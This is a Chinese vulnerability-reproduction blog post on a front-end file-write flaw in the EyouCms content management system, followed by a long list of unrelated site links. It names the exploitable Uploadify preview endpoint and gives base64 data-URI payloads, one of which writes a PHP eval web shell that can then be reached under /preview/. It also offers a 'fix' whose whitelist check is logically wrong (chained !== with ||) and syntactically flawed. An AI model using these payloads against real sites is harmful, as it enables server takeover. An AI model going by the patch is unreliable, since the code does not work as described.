EyouCms前台GetShell漏洞复现
时间:2022-07-24
本文章向大家介绍EyouCms前台GetShell漏洞复现,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
文章源自【字节脉搏社区】-字节脉搏实验室
作者-Beginners
0x01 EyouCms前台GetShell漏洞复现
EyouCms是一个自由和开放源码的内容管理系统,它是一个可以独立使用的内容发布系统(CMS)
0x02 漏洞复现:
利用路径:
/index.php/api/Uploadify/preview
POST数据构造:
data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
直接访问:/preview/文件名.php
测试写入Shell:
data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs=
0x03 代码分析:
漏洞文件:applicationapicontrollerUploadify.php
漏洞触发函数:preview()
获取POST构造输入的数据,在利用preg_match()获取其中文件后缀和Base64编码数据赋值于$matches;
把获取的Base64编码数据matches[2]和文件后缀matches[1]拼接为文件名
判断文件是否存在,若不存在则Base64进行base64解码后通过file_put_contents()写入文件中后输出filename(文件名);到/preview/目录下;
0x04 漏洞修复:
使用白名单判断文件名后缀;
在Uploadify.php中213行到214行的代码修改为如下:
if (type !== 'jpeg' || type !=='png' || type !=='gif' || type!=='jpg') {
exit();
}
0x05 Cms下载地址:
下载地址:
https://share.weiyun.com/DGjtKLuR
- Codeforces 839B Game of the Rows【贪心】
- Codeforces 839A Arya and Bran【暴力】
- 【Java学习笔记之十一】Java中常用的8大排序算法详解总结
- 浅谈zip格式处理逻辑漏洞
- C/C++中peek函数的原理及应用
- 洛谷 P1200 [USACO1.1]你的飞碟在这儿Your Ride Is He…【字符串+模拟】
- 洛谷 P1055 ISBN号码【字符串+模拟】
- 【Java学习笔记之十二】Java8增强的工具类:Arrays的用法整理总结
- 利用insert,update和delete注入获取数据
- 【机器学习笔记之二】决策树的python实现
- 【Java学习笔记之十三】初探Java面向对象的过程及代码实现
- 洛谷 P1308 统计单词数【字符串+模拟】
- 【Java学习笔记之十四】Java中this用法小节
- Codeforces 839E Mother of Dragons【__builtin_popcount()的使用】
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android中可以作为Log开关的一些操作及安全性详解
- 实例详解Android Webview拦截ajax请求
- Android给布局、控件加阴影效果的示例代码
- XListView实现下拉刷新和上拉加载原理解析
- Android实现QQ侧滑(删除、置顶等)功能
- Android通过XListView实现上拉加载下拉刷新功能
- Android自定义View实现圆形切图效果
- Android仿iOS侧滑退出当前界面功能
- android仿支付宝密码输入框效果
- TextInputLayout输入框控件的悬浮标签
- android使用SwipeRefreshLayout实现ListView下拉刷新上拉加载
- Android自定义ScrollView使用自定义监听
- Android开发实现拨打电话与发送信息的方法分析
- Android 3.0引入的异步加载机制Loader
- 自定义注解1-实现spel表达式